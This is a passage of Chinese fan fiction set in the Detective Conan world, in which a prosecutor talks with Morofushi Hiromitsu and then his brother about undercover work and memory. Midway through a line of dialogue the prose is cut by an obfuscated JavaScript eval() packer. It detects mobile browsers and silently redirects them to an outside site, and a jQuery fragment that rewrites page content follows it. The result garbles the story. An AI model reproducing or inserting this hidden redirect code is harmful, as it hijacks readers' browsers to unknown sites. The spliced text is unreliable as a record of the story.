羽毛般的云朵恰巧在此时离开月亮,月色更加透亮。
北原浅落将果汁接过来,避开对方的视线:“工作关系。”
诸伏景光显然不信,笑着追问:“只是工作关系?”
“我们还是很好的朋友。”北原浅落努力控制自己的神态动作,默默祈祷对方别再问了。
“好朋友?”
诸伏景光越笑越大声,倒是让北原浅落有些莫名其妙了。
“对啊,你笑什么?不行吗?”
“没什么,我只是想起了第一次见到你的情景。”
“你记得我?”北原浅落一愣,她以为他不会记得自己这个只有过一面之缘的人。
“无论是谁,见到你这样记性好到可怕的人都不会忘了的吧?”
当初他们几个见义勇为之后,对方声称有位做律师的手眼通天的父亲,叫嚣着法庭上见。就在这时,她一脸不耐烦地出现了,张口就是一条条法律,几乎是对方每说一句,她就从法条中找到一条依据予以反驳,说得对方哑口无言,也说得他们目瞪口呆。
“我那时候问你要不要介绍我哥给你认识,你可是一脸冷漠地拒绝了。”说到此处,北原浅落目光中增添了几分警告的味道,诸伏景光收敛了点笑容,却并没有停下,“现在你居然是我哥的好朋友,真是难以置信啊!”
“你不是也一样,”北原浅落换了个姿势,右手搭在栏杆上,半侧过身对着诸伏景光,“当初你可不像现在这样,那时候的你整个人都是温温柔柔的,非常亲切,一看脾气就很好。”
“我现在看起来脾气不好吗?”
对方的反问接得迅速,北原浅落一时语塞。
“也没有啦,就是觉得和之前相比,少了点什么……”
“是少了点什么。”诸伏景光坦然点头,和22岁的诸伏景光相比,他少了天真,少了坦率,卧底生涯让他每说一个字、每听见一句话都要思虑再三,步步雷池,他得活下去,还得完成任务。
“我不再是你记忆中那个诸伏景光了,其实说实话,我都要忘了那时候的诸伏景光是什么样子……”
“但是北原小姐,你记得的吧,那时候的诸伏景光?”
“诶?”北原浅落正想着如何安慰他,却突然听到了自己的名字。
诸伏景光看着她,亮晶晶的眸子中闪着名为期待的东西:“叔叔和我说,你过目不忘,不管是什么,只要你见过,你就会一直记得。”
“嗯,我当然记得,我还记得你那天左手食指上贴了个创口贴。”北原浅落特意挑了个无关痛痒的细节,那时候的他,整个人散发着圣母般的光芒,她一眼就知道他是个好脾气的,但是现在,她不敢说她一眼就能知道他什么。
“那就好,还有人记得,北原小姐,谢谢你。”诸伏景光低头,看着没有伤口的左手食指,他早就忘了当初这个小伤,但是还好,她记得。
“这有什么好谢的,”北原浅落喝完果汁的最后一点剩余,“我也不是主动记下来的,是我的记忆自动收录的。”
“这个技能真好,”诸伏景光感叹,“北原小姐,其实,你很适合当卧底,过目不忘,能避免很多麻烦。”
“我?”北原浅落一愣,随即被逗笑了,“你别开玩笑了,我不行的。我刚刚没说几句话你就看出来我部分隐瞒事实,我怎么当卧底?去了也会被马上发现。”
“所以你隐瞒了什么事实?”
北原浅落白了他一眼,转身朝铁门走去:“你刚刚说了,今天是审问你,不是审问我,想知道就自己去查吧,公安先生。”
“我们下去吧,去看看池田前辈,然后我要回家了。”
*
晚风从半开的车窗呼呼灌入,夜已深,她却没有丝毫困意。
多年的卧底生涯确实改变了他,所以当他问到过去的自己时,怕惹他伤心,她只敢说些无关紧要的。
他偶尔流露出来的深沉凝重是她未曾感受到过的。
她不敢说自己凭多年前的萍水相逢就能了解他,但一眼望过去,整个人带给自己的感受是不会骗人的。
好在,他还活着。
好在,他的底色仍在。
她轻手轻脚走进家,却发现客厅亮着盏昏黄的落地灯,她爸换了家居服靠着沙发睡着了。
听见门口的动静,北原修司睁开眼,坐直了身体:“回来啦。”
“爸,你怎么还没睡?妈呢?”
北原修司揉了揉眉心:“你妈已经睡了,我等你回来再睡。”
“行了,现在你的疑问应该都解开了吧,很晚了,去睡吧。”
北原修司走近女儿,和她一起向楼梯走去。
“爸,你们以后对诸伏景光好点。”
“好点?”北原修司一怔,上下打量了女儿几眼,“现在还不够好吗?都让他当正志的侄子了。”
“那、那就再好一点。”
“行,那就再好一点,我看你妈也很喜欢这个年轻人。”北原修司放轻脚步走上楼梯。
“对了,爸,你知道公安那边为什么要派他去当卧底吗?”北原浅落跟着压低声音,“总感觉之前的他不太适合做一个卧底。”
“据说是公安那边看上了他的一个特质,才派他去的。”
“特质?”
“嗯,具体的我也不太清楚。”
北原浅落突然想起晚上诸伏景光对她说的话。
“爸,说到特质,你不觉得,我很适合去做卧底吗?过目不忘什么的,很方便吧?”
北原修司脚步一顿,扶着栏杆的手不自觉收紧几分,而后同平常一样睨了女儿一眼:“你确定你很适合?”
“首先,你不能很好地控制自己情绪,今天在审讯室冲出去对嫌疑人说的那些话太冲动了,这对一名卧底来说是大忌;其次,你不是警察,没有受过系统的训练,连自保的防身格斗都不会。现在,你还觉得你很适合去做卧底吗?”
“好嘛好嘛,我只是随口一说,爸你那么严肃干嘛?我当然知道我不适合做一名卧底啦,我还是老老实实继续做我的检察官吧。”
“不过,”北原浅落挽住父亲胳膊,得意地冲他歪头一笑,“今天在审讯室,爸你明明也很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209565|179354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想替池田前辈出气吧,只是碍于身份不能亲自下场,不然我哪能那么顺利,对吧?”
“自作聪明。”北原修司将女儿的手拉开,“我回房了,你也早点睡。”
“是,爸晚安。”北原浅落见好就收,溜回自己房间轻轻关上门。
北原修司的面容转向凝重,打开卧室门,妻子给他留了盏床头灯。
那件事,他几乎都要忘了。
就在北原浅落毕业那年,公安高层的同僚找过他。
过目不忘,的确是太引人注目的一个特质了。
他当场拒绝了。
双方你来我往,相互劝说。
最后,他只留下一句话。
“就当这是一位父亲的私心吧。”
*
洗漱完毕已近十二点,头发吹到一半,北原浅落突然想起诸伏高明晚上给她发的消息还没回。
她连忙放下吹风机,拿过手机给他回复。
刚发了一句话,正在编辑下一句,对方的电话就打过来了。
他居然还没睡?
北原浅落按下接听,小心瞥了眼房门,又走向窗边拨开窗帘确认窗户关好。
“浅落。”
对方的声音已经从听筒里传来。
北原浅落应了一声,问道:“诸伏警部,你这么晚了还没睡啊?”
“想着你下午打电话的时候状态有点差,就一直在等你的消息。”
“抱歉抱歉,晚上有点忙。”北原浅落道歉的同时只得给出模棱两可的答案,虽然她不想瞒着他,但她确实不能告诉他诸伏景光活着的消息,至少暂时不能。
诸伏高明正坐在床上看书,听到这话,摩挲着页脚的手一顿,下一秒,他翻了一页。
“没关系,我看到你发的消息了,池田前辈没有生命危险,真的是太好了。”
“是的,就和你说的一样!”北原浅落抬起双脚,整个人靠在沙发上,“不过就是案件背后的故事太让人唏嘘了,就和农夫与蛇的故事一样……”
诸伏高明耐心地听着北原浅落絮絮叨叨讲述事情的来龙去脉。
末了,北原浅落轻声发问:“诸伏警部,你说,为什么会发生这种事呢?”
“大概,这就是人们所说的‘被仇恨蒙蔽了双眼’吧。一旦被仇恨左右,人的认知力和判断力就会不可靠。不过,好在池田前辈好人有好报,最后没有大碍,所以,人世间还是值得的。”
是值得的,他是失去了很多,但是,他也得到了许多珍贵的东西,比如大和敢助和上原由衣,他从小就与他们结下了深厚友谊,又比如,上天让他遇到了她。
“是,”北原浅落跟着点头,想到诸伏景光,她声线不禁雀跃了几分,“诸伏警部,你也会好人有好报的!你也要相信人间值得啊!”
总有一天,她会告诉他这个消息;总有一天,他们会见面的。
“嗯,我一直相信,不然,你不会出现在我的世界。”
北原浅落的脸腾地一下变红,天哪,这也太犯规了。
“是我要谢谢你的出现才对……”